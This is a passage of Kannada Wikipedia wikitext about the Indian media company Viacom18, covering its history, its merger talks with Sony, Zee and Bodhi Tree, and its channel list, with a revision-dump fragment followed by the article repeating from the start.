[[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು == === ಪ್ರಸಾರ ವಾಹಿನಿಗಳು === ಟಿವಿ 18 ನಿಂದ ಲಭ್ಯವಿರುವ ವಿತರಣಾ ಚಾನಲ್‌ಗಳು ಈ ಕೆಳಗಿನಂತಿವೆ: <ref>{{Cite web|url=https://www.viacom18.com/onair/|title=Our Channels - On Air|website=viacom18.com}}</ref> {| class="wikitable sortable" style="text-align:middle;" ! style="width:180pt; background:White;" |ಚಾನಲ್ ! style="width:180pt; background:Violet;" |ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ ! style="width:180pt; background:White;" |ಭಾಷೆ ! style="width:300pt; background:Violet;" |ವರ್ಗ ! style="width:180pt; background:White;" |SD/HD ಲಭ್ಯತೆ ! style="width:300pt; background:Violet;" |ಟಿಪ್ಪಣಿಗಳು |- |ಕಲರ್ಸ್ ಟಿವಿ |2008 | rowspan="8" |[[Hindi|ಹಿಂದಿ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |- |ಕಲರ್ಸ್ ರಿಷ್ಟೆ |2014 |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ |2016 | rowspan="3" |ಚಲನಚಿತ್ರಗಳು |SD+HD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ |2021 | rowspan="2" |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್‌ಹಿಟ್ಸ್ |2022 | |- |ಎಂಟಿವಿ |1996 |ಯುವ ಜನ | rowspan="2" |SD+HD | |- |ಎಂಟಿವಿ ಬೀಟ್ಸ್ |2014 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 ಖೇಲ್]] |2022 |ಕ್ರೀಡೆ |SD | |- |[[Colors Infinity|ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ]] |2015 | rowspan="4" |[[English language|ಆಂಗ್ಲ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ | rowspan="4" |SD+HD | |- |[[Comedy Central (Indian TV channel)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]] |2012 | |- |[[VH1 India|ವಿ ಯೆಚ್ 1]] |2005 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 1]] |2022 |ಕ್ರೀಡೆ | |- |[[Nickelodeon (Indian TV channel)|ನಿಕೆಲೋಡಿಯನ್]] |1999 | rowspan="2" |[[ಹಿಂದಿ]]<br /> [[ತಮಿಳು]]<br /> [[ತೆಲುಗು]]<br /> [[ಮಲಯಾಳಂ]]<br />[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] [[ಮರಾಠಿ]] [[ಗುಜರಾತಿ ಭಾಷೆ|ಗುಜರಾತಿ]][[ಕನ್ನಡ]] | rowspan="4" |ಮಕ್ಕಳು | rowspan="3" |SD | |- |[[Nickelodeon Sonic|ನಿಕೆಲೋಡಿಯನ್ ಸೋನಿಕ್]] |2011 | |- |[[Nick Jr. (India)|ನಿಕ್ ಜೂನಿಯರ್]] |2012 | rowspan="2" |[[ಹಿಂದಿ]]<br /><br /><br /><br /> [[ಆಂಗ್ಲ]] | |- |[[Nick HD+|ನಿಕ್ HD+]] |2015 |ಎಚ್.ಡಿ | |- |[[Colors Bangla|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]] |2000 | rowspan="2" |[[Bengali language|ಬೆಂಗಾಲಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Bangla Cinema|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | rowspan="3" |SD | |- |[[Colors Gujarati|ಕಲರ್ಸ್ ಗುಜರಾತಿ]] |2002 | rowspan="2" |[[Gujarati language|ಗುಜರಾತಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |ಹಿಂದೆ ETV ಗುಜರಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Gujarati Cinema|ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Marathi|ಕಲರ್ಸ್ ಮರಾಠಿ]] |2000 |[[Marathi language|ಮರಾಠಿ]] | rowspan="4" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಮರಾಠಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Odia|ಕಲರ್ಸ್ ಒಡಿಯಾ]] |2002 |[[Odia language|ಒಡಿಯಾ]] |SD |ಹಿಂದೆ [[ವಿಯಾಕಾಂ 18|ETV ಒಡಿಯಾ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ]] |2000 | rowspan="3" |[[Kannada|ಕನ್ನಡ]] |SD+HD |ಹಿಂದೆ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಈಟಿವಿ ಕನ್ನಡ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಸೂಪರ್]] |2016 | rowspan="2" |SD | |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ|ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] |2018 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Tamil|ಕಲರ್ಸ್ ತಮಿಳು]] |2018 |[[Tamil language|ತಮಿಳು]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |} == <span id=".E0.B2.89.E0.B2.B2.E0.B3.8D.E0.B2.B2.E0.B3.87.E0.B2.96.E0.B2.97.E0.B2.B3.E0.B3.81"></span><span class="mw-headline" id="ಉಲ್ಲೇಖಗಳು">ಉಲ್ಲೇಖಗಳು</span> == <style data-mw-deduplicate="TemplateStyles:r1033442">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"></div> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] h0zz7jj5etd0wd9to1fajax57k4x953 1116593 1116592 2022-08-24T08:12:20Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು 